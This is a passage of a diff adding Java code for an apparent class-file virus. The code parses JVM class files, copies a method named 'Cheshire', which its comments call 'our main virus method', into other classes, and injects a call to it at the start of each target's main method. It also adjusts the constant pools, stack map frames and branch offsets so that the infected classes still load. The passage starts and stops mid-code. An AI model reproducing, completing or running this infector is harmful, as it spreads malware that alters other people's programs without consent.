one to the first stackmapframe offset + * + * + */ + public static void inject(HashMap origin, HashMap destination){ + //Are there any functions called main? + //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame + //We should parse through the constant pool, look for the methodref with our method name and capture the index + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + int methodRefIndex; + byte[] instruction_bytes = new byte[3]; + + //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef + //For that method manually. + + //Find the Constant Pool index of the MethodRef for our virus. + for(int i = 0; i < constant_pool.length; i++){ + byte[] constant = constant_pool[i]; + + if(constant[0] == (byte) 10){ + byte[] natindexbytes = new byte[2]; + System.arraycopy(constant, 3 , natindexbytes, 0, 2); + int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF)); + byte[] NameAndType = constant_pool[NameAndTypeIndex-1]; + byte[] nameindexbytes = new byte[2]; + System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 ); + int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF)); + String methodName = getUtf8Constant(NameIndex, origin); + if(methodName.equals("Cheshire")){ + methodRefIndex = i+1; + methodRefIndex = copyConstant(origin, methodRefIndex, destination); + ByteBuffer bb = ByteBuffer.allocate(2); + bb.putShort((short) methodRefIndex); + byte[] index_bytes = bb.array(); + byte invokestatic = (byte) 184; + instruction_bytes[0] = invokestatic; + instruction_bytes[1] = index_bytes[0]; + instruction_bytes[2] = index_bytes[1]; + ArrayList inject_instructions = new ArrayList(); + inject_instructions.add(instruction_bytes); + destination.put("inject_instructions", inject_instructions); + } + } + } + + byte[][] methods = (byte[][]) destination.get("methods"); + for(int i = 0; i < methods.length; i++){ + ByteBuffer b = ByteBuffer.wrap(methods[i]); + b.get(new byte[2]); + int nameIndex = b.getShort(); + b.get(new byte[4]); + String methodName = getUtf8Constant(nameIndex, destination); + if(methodName.equals("main")){ + try { + copyMethod((HashMap) destination.clone(), i, destination); + } catch (IOException e) { + e.printStackTrace(); + } + + } + } + + } + + /** + * Fortunately for us, not much to do here. Process verification type info for items on the stack. + * Not touching it, so essentially just copying the data. + * @param b + * @param origin + * @param destination + * @return + */ + public static byte[] processVerificationTypeInfo(ByteBuffer b, HashMap origin, HashMap destination){ + byte tagbyte = b.get(); + int tag = tagbyte & 0xFF; + if(tag >= 0 && tag < 7){ + ByteBuffer newbuff = ByteBuffer.allocate(1); + newbuff.put(tagbyte); + return newbuff.array(); + } + else if(tag == 7){ + ByteBuffer newbuff = ByteBuffer.allocate(3); + int index = b.getShort(); + newbuff.put(tagbyte); + int new_index = copyConstant(origin, index, destination); + newbuff.putShort((short) new_index); + return newbuff.array(); + } + else if(tag == 8){ + ByteBuffer newbuff = ByteBuffer.allocate(3); + newbuff.put(tagbyte); + int offset = b.getShort(); + newbuff.putShort((short) offset); + return newbuff.array(); + } + else { + return null; + } + } + + /** + * Convert the index in the old code byte array to an index at the same instruction in the + * new list. Return the new index. + * First, find the instruction position in the OldList. Then, if necessary, find the remainder. + * Next, take that instruction position and cycle through the newList, adding the length of each instruction + * as you go. Once that instruction position is reached, add the remainder. + * If two instruction lists of different sizes are passed, we assume instructions are being injected at the + * beginning of the list. + * Step 1. How many more instructions in old list than new list? + * Step 2. Start from equivalent position by subtracting number of instructions + * Step 3. Add delta to instruction_pos for accurate offset + * + * @param index + * @param oldList + * @param newList + * @return + */ + public static int instructionIndex(int index, ArrayList oldList, ArrayList newList){ + int oldposition = 0; + int newposition = 0; + int remainder = 0; + int instruction_pos = 0; + int list_offset = 0; + if(oldList.size() != newList.size()){ + list_offset = newList.size() - oldList.size(); + } + // Step one: Convert old index + while(oldposition < index){ + if(oldposition + oldList.get(instruction_pos).length <= index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + } + else if(oldposition + oldList.get(instruction_pos).length > index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + remainder = oldposition - index; + oldposition -= remainder; + } + } + instruction_pos += list_offset; + //Step two: Convert instruction_pos + remainder to new position + for(int i = 0; i < instruction_pos; i++){ + newposition += newList.get(i).length; + } + return newposition; + } + + /** + * This function ended up being more complex than I'd thought. + * We want to create a data structure where new offsets can be calculated based on instruction position. + * Ideally, we keep old and new code in a 2d array and calculate offsets based on where instructions are + * rather than doing individual calculations for each piece. I think it's also ideal if we write + * function to translate an old position to a new one at any given time. Due to functions being processed + * one at a time, I think it's OK to store this data in the origin and destination hash maps(if needed). + * + * The process of adjustment should look something like this: + * Instructions are read into an ArrayList of byte arrays. + * The origin class and the destination class are both given copies of the same list. + * Following that, the origin class is processed to: + * 1. Add new constant pool indices + * 2. Change instructions if necessary + * 3. adjust if, goto offsets + * + * NOTE TO SELF: I SKIPPED PARSING LOOKUPSWTICH BECAUSE IT'S NOT IN ANY OF THE CODE TO BE COPIED + * @param instructions + * @param origin + * @param destination + * @return + */ + public static byte[] processInstructions(byte[] instructions, HashMap origin, HashMap destination, ArrayList injectInstructions){ + ByteBuffer buffer = ByteBuffer.wrap(instructions); + int code_length = instructions.length; + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ArrayList byteList = new ArrayList(); + while(buffer.hasRemaining()){ + byte instruction = buffer.get(); + if((instruction & 0xff) == 18){ + byte index = buffer.get(); + byte[] inst_bytes = new byte[2]; + inst_bytes[0] = instruction; + inst_bytes[1] = index; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 182 || (instruction & 0xff) == 19 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 || (instruction & 0xff) == 180 || (instruction & 0xff) == 20){ + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer temp = ByteBuffer.allocate(2); + temp.putShort((short) new_index); + byte[] index_bytes = temp.array(); + byte[] inst_bytes = new byte[3]; + inst_bytes[0] = instruction; + inst_bytes[1] = index_bytes[0]; + inst_bytes[2] = index_bytes[1]; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 186){ + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer tempBuff = ByteBuffer.allocate(2); + tempBuff.putShort((short) new_index); + byte[] index_bytes = tempBuff.array(); + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = instruction; + inst_bytes[1] = index_bytes[0]; + inst_bytes[2] = index_bytes[1]; + index_bytes[3] = b1; + index_bytes[4] = b2; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 201){ + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte b3 = buffer.get(); + byte b4 = buffer.get(); + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = b1; + inst_bytes[1] = b2; + inst_bytes[2] = b3; + inst_bytes[3] = b4; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 185){ + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer temp = ByteBuffer.allocate(2); + temp.putShort((short) new_index); + byte[] indexBytes = temp.array(); + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = instruction; + inst_bytes[1] = indexBytes[0]; + inst_bytes[2] = indexBytes[1]; + inst_bytes[3] = b1; + inst_bytes[4] = b2; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 200){ + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = instruction; + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte b3 = buffer.get(); + byte b4 = buffer.get(); + inst_bytes[1] = b1; + inst_bytes[2] = b2; + inst_bytes[3] = b3; + inst_bytes[4] = b4; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 17 || (instruction & 0xff) == 181 || (instruction & 0xff) == 165 || (instruction & 0xff) == 166 || (instruction & 0xff) == 159 || (instruction & 0xff) == 160 || (instruction & 0xff) == 161 || (instruction & 0xff) == 162 || (instruction & 0xff) == 163 || (instruction & 0xff) == 164 || (instruction & 0xff) == 153 || (instruction & 0xff) == 154 || (instruction & 0xff) == 155 || (instruction & 0xff) == 156 || (instruction & 0xff) == 157 || (instruction & 0xff) == 158 || (instruction & 0xff) == 199 || (instruction & 0xff) == 198 || (instruction & 0xff) == 132 || (instruction & 0xff) == 193 || (instruction & 0xff) == 168 || (instruction & 0xff) == 167 || (instruction & 0xff) == 179){ + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte[] inst_bytes = new byte[3]; + inst_bytes[0] = instruction; + inst_bytes[1] = b1; + inst_bytes[2] = b2; + byteList.add(inst_bytes); + + } + else if((instruction & 0xff) == 188 || (instruction & 0xff) == 22 || (instruction & 0xff) == 55 || (instruction & 0xff) == 25 || (instruction & 0xff) == 58 || (instruction & 0xff) == 16 || (instruction & 0xff) == 24 || (instruction & 0xff) == 57 || (instruction & 0xff) == 23 || (instruction & 0xff) == 56 || (instruction & 0xff) == 21 || (instruction & 0xff) == 54){ + byte[] inst_bytes = new byte[2]; + inst_bytes[0] = instruction; + byte b = buffer.get(); + inst_bytes[1] = b; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 182 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 ){ + byte[] inst = new byte[3]; + inst[0] = instruction; + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer temp = ByteBuffer.allocate(2); + temp.putShort((short) new_index); + byte[] index_bytes = temp.array(); + inst[1] = index_bytes[0]; + inst[2] = index_bytes[1]; + byteList.add(inst); + } + else if((instruction & 0xff) == 197){ + byte[] inst_bytes = new byte[4]; + inst_bytes[0] = instruction; + inst_bytes[1] = buffer.get(); + inst_bytes[2] = buffer.get(); + inst_bytes[3] = buffer.get(); + byteList.add(inst_bytes); + } + else { + byte[] inst = new byte[1]; + inst[0] = instruction; + byteList.add(inst); + } + } + origin.put("method_code", byteList.clone()); + + int code_position = 0; + + for(byte[] bytes : byteList) { + byte[] inst = bytes; + if (inst[0] == 18) { + int old_index = inst[1] & 0xff; + int new_index = copyConstant(origin, old_index, destination); + byte[] new_inst; + if (new_index > 255) { + new_inst = new byte[3]; + ByteBuffer b = ByteBuffer.allocate(2); + b.putShort((short) new_index); + new_inst[0] = 19; + new_inst[1] = b.array()[0]; + new_inst[2] = b.array()[1]; + byteList.set(byteList.indexOf(inst), new_inst); + } else { + new_inst = new byte[2]; + new_inst[0] = 18; + new_inst[1] = (byte) new_index; + byteList.set(byteList.indexOf(inst), new_inst); + } + + } + } + ArrayList newList = new ArrayList(); + if(injectInstructions != null){ + newList.addAll(injectInstructions); + newList.addAll(byteList); + } + else{ + newList = byteList; + } + + for(int i = 0; i < byteList.size(); i++){ + byte[] inst = byteList.get(i); + int list_offset = newList.size() - byteList.size(); + int instruction = inst[0] & 0xFF; + if((inst[0] & 0xff) == 198 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 159 || (inst[0] & 0xff) == 155 || (inst[0] & 0xff) == 160 || (inst[0] & 0xff) == 161 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 163 || (inst[0] & 0xff) == 164 || (inst[0] & 0xff) == 153 || (inst[0] & 0xff) == 199){ + int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF)); + int new_position = instructionIndex(code_position, (ArrayList) origin.get("method_code"), newList); + int new_offset = instructionIndex(code_position + offset, (ArrayList) origin.get("method_code"), newList)- new_position; + ByteBuffer offset_buff = ByteBuffer.allocate(3); + offset_buff.put(inst[0]); + offset_buff.putShort((short) new_offset); + newList.set(i+list_offset, offset_buff.array()); + } + if((inst[0] & 0xff) == 167){ + int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF)); + int new_position = instructionIndex(code_position, (ArrayList) origin.get("method_code"), newList); + int new_offset = instructionIndex(code_position + offset, (ArrayList) origin.get("method_code"), newList)- new_position; + ByteBuffer offset_buff = ByteBuffer.allocate(3); + offset_buff.put(inst[0]); + offset_buff.putShort((short) new_offset); + newList.set(i+list_offset, offset_buff.array()); + } + code_position += ((ArrayList) origin.get("method_code")).get(i).length; + + } + destination.put("method_code", newList.clone()); + for(byte[] inst : newList){ + try { + bos.write(inst); + } catch (IOException e) { + e.printStackTrace(); + } + } + + return bos.toByteArray(); + } + + /** + * Returns an array of bytes corresponding to a set of attributes passed to it. Could be one or several. + * @return + */ + public static byte[] processAttribute(byte[] attribute, HashMap origin, HashMap destination, String type) { + ByteBuffer b = ByteBuffer.allocate(attribute.length); + ByteBuffer buffer = ByteBuffer.wrap(attribute); + + if(type.equals("Code")){ + //method_buffer[] + ByteBuffer tempBuffer = ByteBuffer.allocate(4); + tempBuffer.putShort(buffer.getShort()); + tempBuffer.putShort(buffer.getShort()); + int code_length = buffer.getInt(); + + byte[] code = new byte[code_length]; + buffer.get(code); + origin.put("method_code", null); + destination.put("method_code", null); + byte[] instructions = processInstructions(code, origin, destination, (ArrayList) destination.get("inject_instructions")); + b = ByteBuffer.allocate(attribute.length + (instructions.length - code_length)); + b.put(tempBuffer.array()); + code_length = instructions.length; + b.putInt(code_length); + b.put(instructions); + int exception_table_length = buffer.getShort(); + b.putShort((short) exception_table_length); + + for(int c = 0; c < exception_table_length; c++){ + byte[] dump = new byte[6]; + buffer.get(dump); + HashMap offsets = (HashMap) origin.get("method_offsets"); + int start_pc = (short) (((dump[0] & 0xFF) << 8) | (dump[1] & 0xFF)); + int end_pc = (short) (((dump[2] & 0xFF) << 8) | (dump[3] & 0xFF)); + int handler_pc = (short) (((dump[4] & 0xFF) << 8) | (dump[5] & 0xFF)); + start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + end_pc = instructionIndex(end_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + handler_pc = instructionIndex(handler_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + b.putShort((short) start_pc); + b.putShort((short) end_pc); + b.putShort((short) handler_pc); + int catch_type = buffer.getShort(); + int new_catch_type = copyConstant(origin, catch_type, destination); + b.putShort((short) new_catch_type); + + } + + int attributes_count = buffer.getShort(); + b.putShort((short) attributes_count); + for(int d = 0; d < attributes_count; d++){ + int name_index = buffer.getShort(); + int new_name_index = copyConstant(origin, name_index, destination); + b.putShort((short) new_name_index); + int attribute_length = buffer.getInt(); + b.putInt(attribute_length); + byte[] new_attribute = new byte[attribute_length]; + buffer.get(new_attribute); + byte[] processedAttributed = processAttribute(new_attribute, origin, destination, getUtf8Constant(name_index, origin)); + if(processedAttributed.length == attribute_length){ + b.put(processedAttributed); + } + } + return b.array(); + } + else if(type.equals("LocalVariableTable")){ + int table_length = buffer.getShort(); + HashMap offsets = (HashMap) origin.get("method_offsets"); + b.putShort((short) table_length); + HashMap LVT = new HashMap(); + for(int i = 0; i < table_length; i++) { + int start_pc = buffer.getShort(); + int length = buffer.getShort(); + int pc_length = start_pc+length; + start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")); + length = instructionIndex(pc_length, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")) - start_pc; + if(start_pc == 65535){ + System.out.println("Woah nelly!"); + } + b.putShort((short) start_pc); + b.putShort((short) length); + int orig_name_index = buffer.getShort(); + + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + int orig_descriptor_index = buffer.getShort(); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + b.putShort(buffer.getShort()); + int[] values = new int[2]; + values[0] = new_name_index; + values[1] = new_descriptor_index; + LVT.put(getUtf8Constant(orig_name_index, origin), values); + } + origin.put("LVT", LVT); + return b.array(); + } + else if(type.equals("LocalVariableTypeTable")){ + int table_length = buffer.getShort(); + b.putShort((short) table_length); + HashMap LVT = (HashMap) origin.get("LVT"); + HashMap offsets = (HashMap) origin.get("method_offsets"); + for(int i = 0; i < table_length; i++) { + int start_pc = buffer.getShort(); + int length = buffer.getShort(); + int pc_length = start_pc+length; + start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + b.putShort((short) start_pc); + length = instructionIndex(pc_length, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")) - start_pc; + b.putShort((short) length); + int orig_name_index = buffer.getShort(); + int[] indices = LVT.get(getUtf8Constant(orig_name_index, origin)); + int new_name_index = (short) indices[0]; + b.putShort((short) indices[0]); + int orig_descriptor_index = buffer.getShort(); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) indices[1]); + b.putShort(buffer.getShort()); + } + return b.array(); + } + else if(type.equals("Signature")){ + int old_signature_index = buffer.getShort(); + int new_signature_index = copyConstant(origin, old_signature_index, destination); + b.putShort((short) new_signature_index); + return b.array(); + } + else if(type.equals("Exceptions")){ + int number_of_exceptions = buffer.getShort(); + b.putShort((short) number_of_exceptions); + for(int i = 0; i < number_of_exceptions; i++){ + int class_index = buffer.getShort(); + int new_class_index = copyConstant(origin, class_index, destination); + b.putShort((short) new_class_index); + } + return b.array(); + } + else if(type.equals("StackMapTable")){ + int num_entries = buffer.getShort(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + int frame_position = 0; + int old_frame_position = 0; + for(int i = 0; i < num_entries; i++){ + + byte tagbyte = buffer.get(); + int tag = tagbyte & 0xFF; + + if(tag >= 0 && tag <= 63){ + int new_offset = instructionIndex(old_frame_position + tag + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position +i); + old_frame_position += tag; + + Integer a = new_offset; + byte newtag = a.byteValue(); + bos.write(newtag); + + frame_position += new_offset; + + } + else if(tag >= 64 && tag <= 127){ + + int new_offset = instructionIndex(old_frame_position + (tag - 64) + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + + old_frame_position += (tag - 64); + + byte newtag = (byte) (new_offset+64); + bos.write(newtag); + try { + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + catch (IOException e){ + + } + frame_position += new_offset; + + } + else if(tag == 247){ + bos.write(tagbyte); + ByteBuffer bbuf = ByteBuffer.allocate(2); + int offset = buffer.getShort(); + int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + + old_frame_position += offset; + + bbuf.putShort((short) new_offset); + try { + bos.write(bbuf.array()); + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + catch (IOException e){ + + } + + frame_position += new_offset; + + } + else if(tag >= 248 && tag <= 251){ + bos.write(tagbyte); + int offset = buffer.getShort(); + int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + old_frame_position += offset; + ByteBuffer bbuf = ByteBuffer.allocate(2); + + bbuf.putShort((short) new_offset); + + try { + bos.write(bbuf.array()); + } + catch (IOException e){ + + } + + frame_position += new_offset; + + } + else if(tag >= 252 && tag <= 254){ + bos.write(tagbyte); + ByteBuffer bbuf = ByteBuffer.allocate(2); + byte[] offset = new byte[2]; + int o_offset = buffer.getShort(); + int offset_i = instructionIndex(o_offset + old_frame_position + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + + old_frame_position += o_offset; + + + bbuf.putShort((short) offset_i); + + try { + bos.write(bbuf.array()); + int numtypes = tag - 251; + for(int a = 0; a < numtypes; a++) { + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + } catch (IOException e) { + e.printStackTrace(); + } + + frame_position += offset_i; + + + + } + else if(tag == 255){ + bos.write(tagbyte); + byte[] offset = new byte[2]; + int offset_int = buffer.getShort(); + int new_offset = instructionIndex(old_frame_position + offset_int + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + old_frame_position += offset_int; + + + ByteBuffer bbuf = ByteBuffer.allocate(2); + bbuf.putShort((short) new_offset); + + try { + bos.write(bbuf.array()); + int num_locals = buffer.getShort(); + bbuf = ByteBuffer.allocate(2); + bbuf.putShort((short) num_locals); + bos.write(bbuf.array()); + for(int a = 0; a < num_locals; a++){ + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + int num_stack_items = buffer.getShort(); + bbuf = ByteBuffer.allocate(2); + bbuf.putShort((short) num_stack_items); + bos.write(bbuf.array()); + for(int a= 0; a < num_stack_items; a++){ + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + } catch (IOException e) { + e.printStackTrace(); + } + + frame_position += new_offset; + + } + } + b.putShort((short) num_entries); + b.put(bos.toByteArray()); + return b.array(); + } + else if(type.equals("LineNumberTable")){ + int table_length = buffer.getShort(); + b.putShort((short) table_length); + for(int i = 0; i < table_length; i++){ + b.putShort((short) (i+1)); + buffer.getShort(); + b.putShort(buffer.getShort()); + } + return b.array(); + } + return buffer.array(); +} + + /** + * Easily turn a Utf8 String index into a string we can read. + * @param index + * @param parsedClass + * @return + */ + public static String getUtf8Constant(int index, HashMap parsedClass){ + byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); + byte[] constant = constant_pool[index-1]; + return new String(Arrays.copyOfRange(constant, 3, constant.length)); + } + + /** + * Pass a set of bytes in a class, return the name of the method. + * @param method + * @param parsedClass + * @return + */ + public static String getMethodName(byte[] method, HashMap parsedClass){ + ByteBuffer method_buffer = ByteBuffer.wrap(method); + method_buffer.get(new byte[2]); + int name_index = method_buffer.getShort(); + return getUtf8Constant(name_index, parsedClass); + } + + /** + * + * Copy a method from one parsed class to another. + * If the method already exists, overwrite it. This is because I'm lazy and didn't want to write a + * separate method for handling injection. + * @param parsedClass + * @param orig_method_index + * @param destination + * @return The index of the method in the new file + * + */ + public static int copyMethod(HashMap origin, int orig_method_index, HashMap destination) throws IOException { + byte[][] orig_methods = (byte[][]) origin.get("methods"); + byte[] method = orig_methods[orig_method_index]; + boolean overwrite = false; + + String methodName = getMethodName(method, origin); + ByteBuffer method_buffer = ByteBuffer.wrap(method); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ByteBuffer b = ByteBuffer.allocate(8); + byte[] access_flags = new byte[2]; + method_buffer.get(access_flags); + b.put(access_flags); + int orig_name_index = method_buffer.getShort(); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + + int orig_descriptor_index = method_buffer.getShort(); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + + int attribute_count = method_buffer.getShort(); + b.putShort((short) attribute_count); + bos.write(b.array()); + b.clear(); + HashMap offsets = new HashMap(); + origin.put("method_offsets", offsets); + + for(int i = 0; i < attribute_count; i++){ + b = ByteBuffer.allocate(6); + int old_name_index = method_buffer.getShort(); + int new_attr_name_index = copyConstant(origin, old_name_index, destination); + + int attribute_length = method_buffer.getInt(); + byte[][] cpool = (byte[][]) origin.get("constant_pool"); + + byte[] attr_name_bytes = cpool[old_name_index-1]; + String name = getUtf8Constant(old_name_index, origin); + + byte[] attribute = new byte[attribute_length]; + method_buffer.get(attribute); + + byte[] new_attribute = processAttribute(attribute, origin, destination, name); + + b.putShort((short) new_attr_name_index); + b.putInt(new_attribute.length); + bos.write(b.array()); + bos.write(new_attribute); + + + } + byte[][] dest_methods = (byte[][]) destination.get("methods"); + byte[][] temp_new_methods = new byte[dest_methods.length+1][]; + + for(int a = 0; a < dest_methods.length; a++){ + if(methodName.equals(getMethodName(dest_methods[a], destination))){ + overwrite = true; + } + } + if(overwrite == true){ + temp_new_methods = new byte[dest_methods.length][]; + for(int a = 0; a < dest_methods.length; a++){ + if(methodName.equals(getMethodName(dest_methods[a], destination))){ + temp_new_methods[a] = bos.toByteArray(); + } + else{ + temp_new_methods[a] = dest_methods[a]; + } + } + } + else{ + for(int a = 0; a < dest_methods.length; a++){ + temp_new_methods[a] = dest_methods[a]; + } + temp_new_methods[dest_methods.length] = bos.toByteArray(); + } + destination.put("methods", temp_new_methods); + return dest_methods.length+1; + } + + /** + * Add an item to the constant pool. + */ + public static int addToPool(HashMap parsedClass, byte[] new_data){ + byte[][] target_constant_pool = (byte[][]) parsedClass.get("constant_pool"); + int pool_size = target_constant_pool.length+1; + byte[][] temp_target_pool = new byte[pool_size][]; + for(int a = 0; a < pool_size-1; a++){ + temp_target_pool[a] = target_constant_pool[a]; + } + temp_target_pool[pool_size-1] = new_data; + parsedClass.put("constant_pool", temp_target_pool); + return pool_size; + } + + /** + * Get a class's name as a String based on the name of this_class. + * @param parsedClass + * @return + */ + public static String getClassName(HashMap parsedClass){ + byte[] selfClassBytes = (byte[]) parsedClass.get("this_class"); + byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + int self_class_index = selfBytes.getShort(); + byte[] selfClass = constant_pool[self_class_index-1]; + ByteBuffer selfClassBuff = ByteBuffer.wrap(selfClass); + selfClassBuff.get(); + int classNameIndex = selfClassBuff.getShort(); + return getUtf8Constant(classNameIndex, parsedClass); + } + + /** + * Let's think about how we're doing this... + * + * Ideally we want to pass in the original constant index, copy the data, place it in the target + * and return the new index. This makes copying methods easier when it comes to the attributes. + * + * @return The new index of the copied constant + */ + public static int copyConstant(HashMap origin, int origin_index, HashMap destination){ + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + byte[] orig_constant = constant_pool[origin_index-1]; + + //Create a map between the old and new constant pools + //This will help us avoid copying too many vars over and being wasteful + if(origin.get("constant_pool_map") == null){ + HashMap constant_pool_map = new HashMap(); + origin.put("constant_pool_map", constant_pool_map); + } + HashMap constant_pool_map = (HashMap) origin.get("constant_pool_map"); + if(constant_pool_map.keySet().contains(origin_index)){ + return constant_pool_map.get(origin_index); + } + int const_tag = orig_constant[0]; + if(const_tag == 1){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 7){ + ByteBuffer b = ByteBuffer.allocate(3); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.put(orig_constant[0]); + b.putShort((short) new_name_index); + byte[] new_constant = b.array(); + int new_index; + if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_index = selfBytes.getShort(); + } + else{ + new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + } + return new_index; + } + else if(const_tag == 9 || const_tag == 10 || const_tag == 11){ + ByteBuffer b = ByteBuffer.allocate(5); + int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_class_index = copyConstant(origin, orig_class_index, destination); + String thisClass = getClassName(origin); + byte[] methodClassBytes = constant_pool[orig_class_index-1]; + ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes); + methodClassBuffer.get(); + int classNameIndex = methodClassBuffer.getShort(); + String methodClassName = getUtf8Constant(classNameIndex, origin); + if(methodClassName.equals(getClassName(origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_class_index = selfBytes.getShort(); + } + b.put(orig_constant[0]); + b.putShort((short) new_class_index); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 8){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_string_index = copyConstant(origin, orig_string_index, destination); + b.putShort((short) new_string_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + + } + else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 12){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 15){ + ByteBuffer b = ByteBuffer.allocate(4); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF)); + int new_reference_index = copyConstant(origin, old_reference_index, destination); + b.putShort((short) new_reference_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag 